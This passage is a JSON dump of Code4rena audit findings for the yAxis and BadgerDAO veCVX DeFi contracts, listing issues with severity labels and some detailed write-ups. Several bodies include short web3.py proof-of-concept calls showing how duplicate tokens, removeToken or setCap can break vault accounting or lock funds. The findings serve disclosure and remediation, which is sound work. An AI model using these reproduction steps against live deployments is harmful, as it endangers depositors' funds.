guaranteed to be zero. In such cases, safeApprove may revert. ## Proof of Concept https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6241995ad323952e38f8d405103ed994a2dcde8e/contracts/token/ERC20/utils/SafeERC20.sol#L49-L55 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/converters/StablesConverter.sol#L78 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/strategies/BaseStrategy.sol#L88 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Approve to 0 first while using safeApprove or use increaseAllowance instead. "}, {"title": "Missing support/documentation for use of deflationary tokens in protocol", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-yaxis-findings", "body": "Missing support/documentation for use of deflationary tokens in protocol"}, {"title": "onlyEnabledConverter modifier is not used in all functions", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "onlyEnabledConverter modifier is not used in all functions"}, {"title": "Removing unused parameter and modifier can save gas", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Removing unused parameter and modifier can save gas"}, {"title": "No use of notHalted in LegacyController functions", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "No use of notHalted in LegacyController functions"}, {"title": "Change public visibility to external", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/55", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Change public visibility to external"}, {"title": "manager.allowedVaults check missing for add/remove strategy", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The manager.allowedVaults check is missing for add/remove strategy like how it is used in reorderStrategies(). This will allow a strategist to accidentally/maliciously add/remove strategies on unauthorized vaults. Given the critical access control that is missing on vaults here, this is classified as medium severity. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/controllers/Controller.sol#L101-L130 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/controllers/Controller.sol#L172-L207 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/controllers/Controller.sol#L224 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/Manager.sol#L210-L221 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add manager.allowedVaults check in addStrategy() and removeStrategy() "}, {"title": "Unused event may be unused code or indicative of missed emit/logic", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/49", "labels": ["bug", "sponsor acknowledged", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Unused event may be unused code or indicative of missed emit/logic"}, {"title": "Halting the protocol should be onlyGovernance and not onlyStrategist", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Halting the protocol should be onlyGovernance and not onlyStrategist"}, {"title": "Removal of last token in the array can be optimized", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Removal of last token in the array can be optimized"}, {"title": "Single-step change of governance address is extremely risky", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/44", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Single-step change of governance address is extremely risky"}, {"title": "Rearranging declaration of state variables will save storage slots because of packing", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Storage slots are allocated based on the declaration order of state variables in contract definitions. For types less than 256 bits, they can be packed by the compiler if more than one fit into the same 32B storage slot. This reduces the number of storage slots but may increase runtime gas consumption because of masking the other shared variables in slot. However, if variables used together in function logic are packed in the same slot, it allows the compiler to optimize SLOADs/SSTOREs. Example: An example of this is the declaration of the halted boolean state variable. Given the current declaration order, this occupies a full slot because booleans are internally represented by uint8 and the neighbouring declarations are uint256 which need a full slot for themselves. Moving the halted bool next to governance address variable declaration will allow those two to share a slot. This reduces one slot and also should not incur extra masking gas overhead at runtime because governor and halted are used in onlyGovernance and notHalted modifiers respectively which are typically used together. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/Manager.sol#L33-L49 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Move halted declaration to immediately after governance declaration. Also, consider the declaration order of all state variables across contracts for such packing possibilities. "}, {"title": "Tokens with > 18 decimals will break logic", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/42", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Tokens with > 18 decimals will break logic"}, {"title": "Missing sanity/threshold check on totalDepositCap may cause DoS", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Missing sanity/threshold check on totalDepositCap may cause DoS"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Missing zero-address checks"}, {"title": "Checking for zero amounts can save gas by preventing expensive external calls", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Checking for zero amounts can save gas by preventing expensive external calls"}, {"title": "Controller does not raise an error when there's insufficient liquidity", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/28", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Controller does not raise an error when there's insufficient liquidity"}, {"title": "hijack the vault by pumping vault price.", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "hijack the vault by pumping vault price."}, {"title": "vault cap's at totalSupply would behave unexpectedly", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/25", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-yaxis-findings", "body": "vault cap's at totalSupply would behave unexpectedly"}, {"title": "missing safety check in addStrategy", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact There's no safety check in controller's `addStrategy`. When the same strategy is added to a vault twice, the protocol breakdowns in several ways. 1. Removing that strategy would always raise errors. 2. `_vaultDetails[_vault].balances[_strategy]` would not track strategy's balance correctly; `getBestStrategyWithdraw` would have a wrong answer and makes withdrawing from the strategy to raise error in certain scenarios. I consider this a low-risk issue. ## Proof of Concept This is the web3.py script: ```python controller.functions.addStrategy(vault.address, strategy.address, cap, 0).transact() controller.functions.addStrategy(vault.address, strategy.address, cap, 0).transact() # would not be able to removestrategy controller.functions.removeStrategy(vault.address, strategy.address, 0).transact() ``` ## Tools Used Hardhat ## Recommended Mitigation Steps The controller should raise an error if the strategy has been added to the protocol(any vault). As adding the same strategy to two different vaults would have worse results, the controller can maintain a map to record each strategy's status. "}, {"title": "extra array length check in depositMultipleVault ", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function depositMultipleVault of VaultHelper doesn't check the array size of _tokens and _amounts are the same length. In previous version of solidity there were bugs with giving an enormous large array to a function which accepted memory arrays. Although depositMultipleVault uses calldata arrays, it is probably better to add a check on the length. On the other hand the function depositMultiple of Vault.sol does check it. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/VaultHelper.sol#L57 ```JS function depositMultipleVault( address _vault, address[] calldata _tokens, uint256[] calldata _amounts ) external { for (uint8 i = 0; i < _amounts.length; i++) { ... ``` https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/Vault.sol#L188 ```JS function depositMultiple( address[] calldata _tokens, uint256[] calldata _amounts ) external override notHalted returns (uint256 _shares) { require(_tokens.length == _amounts.length, \"!length\"); for (uint8 i; i < _amounts.length; i++) { ... ``` ## Tools Used ## Recommended Mitigation Steps Add something like the following in depositMultipleVault: require(_tokens.length == _amounts.length, \"!length\"); "}, {"title": "Save a step in withdraw of Vault.sol", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Save a step in withdraw of Vault.sol"}, {"title": "shadowing of strategies", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/17", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "shadowing of strategies"}, {"title": "Harvesting and Funding Is Not Checked When the Contract Is Halted", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the manual code review, It has been observed that harvesting and fundings progress is not checked when the contract is halted. This can cause misfunctionality and locking user funds during the halt progress. ## Proof of Concept 1-) Navigate to \"https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol\" contract. 2-) Observe the following code on the Controller.sol. Functions earn and HarvestStrategy ``` function harvestStrategy(address _strategy,uint256 _estimatedWETH,uint256 _estimatedYAXIS) external override onlyHarvester onlyStrategy(_strategy) function earn( address _strategy, address _token, uint256 _amount ) external override onlyStrategy(_strategy) onlyVault(_token) ``` ## Tools Used None ## Recommended Mitigation Steps Implement the notHalt modifier into the functions. Only withdraw functions should be allowed on the contract. "}, {"title": "earn results in decreasing share price", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/9", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "earn results in decreasing share price"}, {"title": " # Controller is vulnerable to sandwich attack", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/7", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": " # Controller is vulnerable to sandwich attack"}, {"title": "removeToken would break the vault/protocol.", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/4", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle jonah1005 # Vulnerability details ## removeToken would break the vault. ## Impact There's no safety check in Manager.sol's removeToken. [Manager.sol#L454-L487](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/Manager.sol#L454-L487) 1. The token would be locked in the original vault. Given the current design, the vault would keep a ratio of total amount to save the gas. Once the token is removed at manager contract, these token would lost. 2. Controller's balanceOf would no longer reflects the real value. [Controller.sol#L488-L495](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol#L488-L495) While `_vaultDetails[msg.sender].balance;` remains the same, user can nolonger withdraw those amount. 3. Share price in the vault would decrease drastically. The share price is calculated as `totalValue / totalSupply` [Vault.sol#L217](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/Vault.sol#L217). While the `totalSupply` of the share remains the same, the total balance has drastically decreased. Calling removeToken way would almost break the whole protocol if the vault has already started. I consider this is a high-risk issue. ## Proof of Concept We can see how the vault would be affected with below web3.py script. ```python print(vault.functions.balanceOfThis().call()) print(vault.functions.totalSupply().call()) manager.functions.removeToken(vault.address, dai.address).transact() print(vault.functions.balanceOfThis().call()) print(vault.functions.totalSupply().call()) ``` output ``` 100000000000000000000000 100000000000000000000000 0 100000000000000000000000 ``` ## Tools Used Hardhat ## Recommended Mitigation Steps Remove tokens from a vault would be a really critical job. I recommend the team cover all possible cases and check all components' states (all vault/ strategy/ controller's state) in the test. Some steps that I try to come up with that is required to remove TokenA from a vault. 1. Withdraw all tokenA from all strategies (and handle it correctly in the controller). 2. Withdraw all tokenA from the vault. 3. Convert all tokenA that's collected in the previous step into tokenB. 4. Transfer tokenB to the vault and compensate the transaction fee/slippage cost to the vault. "}, {"title": "No safety check in addToken", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/3", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact There's no safety check in `Manager.sol` `addToken`. There are two possible cases that might happen. 1. One token being added twice in a Vault. Token would be counted doubly in the vault. Ref: [Vault.sol#L293-L303](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/Vault.sol#L293-L303). There would be two item in the array when querying `manager.getTokens(address(this));`. 2. A token first being added to two vaults. The value calculation of the first vault would be broken. As `vaults[_token] = _vault;` would point to the other vault. Permission keys should always be treated cautiously. However, calling the same initialize function twice should not be able to destroy the vault. Also, as the protocol develops, there's likely that one token is supported in two vaults. The DAO may mistakenly add the same token twice. I consider this a high-risk issue. ## Proof of Concept Adding same token twice would not raise any error here. ``` manager.functions.addToken(vault.address, dai.address).transact() manager.functions.addToken(vault.address, dai.address).transact() ``` ## Tools Used Hardhat ## Recommended Mitigation Steps I recommend to add two checks ```solidity require(vaults[_token] == address(0)); bool notFound = True; for(uint256 i; i < tokens[_vault].length; i++) { if (tokens[_vault] == _token) { notFound = False; } } require(notFound, \"duplicate token\"); ``` "}, {"title": "Vault treats all tokens exactly the same that creates (huge) arbitrage opportunities.", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/2", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Vault treats all tokens exactly the same that creates (huge) arbitrage opportunities."}, {"title": " set cap breaks vault's Balance", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/1", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact In controller.sol's function `setCap`, the contract wrongly handles `_vaultDetails[_vault].balance`. While the balance should be decreased by the difference of strategies balance, it subtracts the remaining balance of the strategy. [Controller.sol#L262-L278](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol#L262-L278) `_vaultDetails[_vault].balance = _vaultDetails[_vault].balance.sub(_balance);` This would result in `vaultDetails[_vault].balance` being far smaller than the strategy's value. A user would trigger the assertion at [Contreller.sol#475](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol#L475) and the fund would be locked in the strategy. Though `setCap` is a permission function that only the operator can call, it's likely to be called and the fund would be locked in the contract. I consider this a high severity issue. ## Proof of Concept We can trigger the issue by setting the cap 1 wei smaller than the strategy's balance. ```python strategy_balance = strategy.functions.balanceOf().call() controller.functions.setCap(vault.address, strategy.address, strategy_balance - 1, dai.address).transact() ## this would be reverted vault.functions.withdrawAll(dai.address).transact() ``` [Controller.sol#L262-L278](https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol#L262-L278) ## Tools Used Hardhat ## Recommended Mitigation Steps I believe the dev would spot the issue in the test if `_vaultDetails[_vault].balance` is a public variable. One possile fix is to subtract the difference of the balance. ```solidity uint previousBalance = IStrategy(_strategy).balanceOf(); _vaultDetails[_vault].balance.sub(previousBalance.sub(_amount)); ``` "}, {"title": "add zero address validation in constructor and initializer", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "add zero address validation in constructor and initializer"}, {"title": "lack of emission of events while setting fees ", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact setWithdrawalFee(), setPerformanceFeeStrategist() has no event, so it is difficult to track off-chain changes in the fee ## Proof of Concept https://github.com/code-423n4/2021-09-bvecvx/blob/1d64bd58c7a4224cc330cef283561e90ae6a3cf5/veCVX/deps/BaseStrategy.sol#L126 ## Tools Used manual review ## Recommended Mitigation Steps add event to above function "}, {"title": "state variable that are not changed throughout the contract should be declared as constant", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "state variable that are not changed throughout the contract should be declared as constant"}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-bvecvx-findings", "body": "use of floating pragma"}, {"title": "Missing slippage/min-return check in `veCVXStrategy`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Missing slippage/min-return check in `veCVXStrategy`"}, {"title": "Missing slippage/min-return check in `StrategyCvxHelper`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Missing slippage/min-return check in `StrategyCvxHelper`"}, {"title": "Missing slippage/min-return check in `BaseStrategy`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Missing slippage/min-return check in `BaseStrategy`"}, {"title": "Unbounded iteration in `CvxLocker.updateReward`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Unbounded iteration in `CvxLocker.updateReward`"}, {"title": "`CvxLocker.findEpochId` stops after 128 iterations", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "`CvxLocker.findEpochId` stops after 128 iterations"}, {"title": "`CvxLocker.setApprovals` can be called by anyone", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "`CvxLocker.setApprovals` can be called by anyone"}, {"title": "`CvxLocker.setBoost` wrong validation", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `CvxLocker.setBoost` function does not validate the `_max, _rate` parameters, instead it validates the already set **storage** variables. ```solidity // @audit this is checking the already-set storage variables, not the parameters require(maximumBoostPayment < 1500, \"over max payment\"); //max 15% require(boostRate < 30000, \"over max rate\"); //max 3x ``` ## Impact Once wrong boost values are set (which are not validated when they are set), they cannot be set to new values anymore, breaking core contract functionality. ## Recommended Mitigation Steps Implement these two checks instead: ```solidity require(_max < 1500, \"over max payment\"); //max 15% require(_rate < 30000, \"over max rate\"); //max 3x ``` "}, {"title": "`CvxLocker.setStakeLimits` missing validation", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `CvxLocker.setStakeLimits` function does not check `_minimum <= _maximum`. ## Recommended Mitigation Steps Implement these two checks instead: ```solidity require(_minimum <= _maximum, \"min range\"); require(_maximum <= denominator, \"max range\"); ``` "}, {"title": "`SettV3.transferFrom` block lock can be circumvented", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "`SettV3.transferFrom` block lock can be circumvented"}, {"title": "`veCVXStrategy.manualRebalance` has wrong logic", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/47", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `veCVXStrategy.manualRebalance` function computes two ratios `currentLockRatio` and `newLockRatio` and compares them. However, these ratios compute different things and are not comparable: - `currentLockRatio = balanceInLock.mul(10**18).div(totalCVXBalance)` is a **percentage value** with 18 decimals (i.e. `1e18 = 100%`). Its max value can at most be `1e18`. - `newLockRatio = totalCVXBalance.mul(toLock).div(MAX_BPS)` is a **CVX token amount**. It's unbounded and just depends on the `totalCVXBalance` amount. The comparison that follows does not make sense: ```solidity if (newLockRatio <= currentLockRatio) { // ... } ``` ## Impact The rebalancing is broken and does not correctly rebalance. It usually leads to locking nearly everything if `totalCVXBalance` is high. ## Recommended Mitigation Steps Judging from the `cvxToLock = newLockRatio.sub(currentLockRatio)` it seems the desired computation is that the \"ratios\" should actually be in CVX amounts and not in percentages. Therefore, `currentLockRatio` should just be `balanceInLock`. (The variables should be renamed as they aren't really ratios but absolute CVX balance amounts.) "}, {"title": "Gas: `_onlyNotProtectedTokens` should use maps", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Gas: `_onlyNotProtectedTokens` should use maps"}, {"title": "Unused event `veCVXStrategy.TreeDistribution`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Unused event `veCVXStrategy.TreeDistribution`"}, {"title": "Unused event `veCVXStrategy.Debug`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `Debug` event in `veCVXStrategy` is not used. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "Unused event `StrategyCvxHelper.TendState`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `TendState` event in `StrategyCvxHelper` is not used. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "Unused event `StrategyCvxHelper.HarvestState`", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/41", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "Unused event `StrategyCvxHelper.HarvestState`"}, {"title": "veCVXStrategy: Unused return outputs from _processRewardsFees()", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "veCVXStrategy: Unused return outputs from _processRewardsFees()"}, {"title": "veCVXStrategy: Sub-optimal trading path", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `_swapcvxCRVToWant()` swaps `cvxCRV -> ETH -> CVX` via sushiswap. Looking at sushiswap analytics, this may also not be the most optimal trading path. The cvxCRV-CRV pool seems to have substantially better liquidity than the cvxCRV-ETH pool as r[eported here](https://www.notion.so/6a2dc64a1969e19c23e4f579f9810aa7) (Note that cvxCRV-CRV's liquidity is overstated, [clicking into the pool](https://www.notion.so/a2a8a54062e021873bcaee006cdf4007) gives a more reasonable amount). It is therefore better to do `cvxCRV -> CRV -> ETH -> CVX`, though this comes at the cost of higher gas usage. ### Recommended Mitigation Steps Switch the trading path to `cvxCRV -> CRV -> ETH -> CVX`, as it means more CVX tokens received, translating to higher APY, while the higher gas cost is borne by the caller. Additionally, given how liquidity can shift between pools over time, the most optimal trade path may change accordingly. Hence, it may be beneficial to make the pool path configurable. "}, {"title": "veCVXStrategy: Redundancies", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "veCVXStrategy: Redundancies"}, {"title": "veCVXStrategy: Extra functions can be external instead of public", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `setWithdrawalSafetyCheck()`, `setHarvestOnRebalance()`, `setProcessLocksOnReinvest()` and `setProcessLocksOnRebalance()` functions are unused internally but have `public` visibility. Their visibility can be changed to `external`. "}, {"title": "veCVXStrategy: Erroneous Comments", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact - L211: `// We receive bCVX -> Convert to bCVX` \u2192 `We receive bCVX -> Convert to CVX` - L443: `/// @notice toLock = 100, lock everything (CVX) you have` \u2192 `/// @notice toLock = MAX_BPS, lock everything (CVX) you have` since MAX_BPS (10_000) is the base used "}, {"title": "Swap conversion is susceptible to MEV flashbots", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/34", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Swap conversion is susceptible to MEV flashbots"}, {"title": "StrategyCvxHelper: safeApprove instead of approve", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact This was probably an oversight since - the veCVXStrategy contract used `safeApprove()` for token approvals - `using SafeERC20Upgradeable for IERC20Upgradeable;` was declared ### Recommended Mitigation Steps Change `cvxToken.approve(address(cvxRewardsPool), MAX_UINT_256);` to `cvxToken.safeApprove(address(cvxRewardsPool), MAX_UINT_256);` "}, {"title": "StrategyCvxHelper: Redundant re-initialisation of path array", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "StrategyCvxHelper: Redundant re-initialisation of path array"}, {"title": "Delete function setKeepReward", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact even the comment says it, delete to save some gas: /// @notice Delete if you don't need! function setKeepReward(uint256 _setKeepReward) external { _onlyGovernance(); } "}, {"title": "Calculation of valueInLocker", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "Calculation of valueInLocker"}, {"title": "public functions that can be external", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact functions setWithdrawalSafetyCheck, setHarvestOnRebalance, setProcessLocksOnReinvest, and setProcessLocksOnRebalance are public but can be external as they are only supposed to be invoked from the outside. "}, {"title": "lpComponent is useless", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-bvecvx-findings", "body": "lpComponent is useless"}, {"title": "tend() can be simplified", "html_url": "https://github.com/code-423n4/2021-09-bvecvx-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-bvecvx-findings", "body": "# Handle pauliax # Vulnerability details ## Impact because function tend() always reverts, you can remove authorization checks and modifiers to save some gas. "}, {"title": "Immutable variables", "html_url": 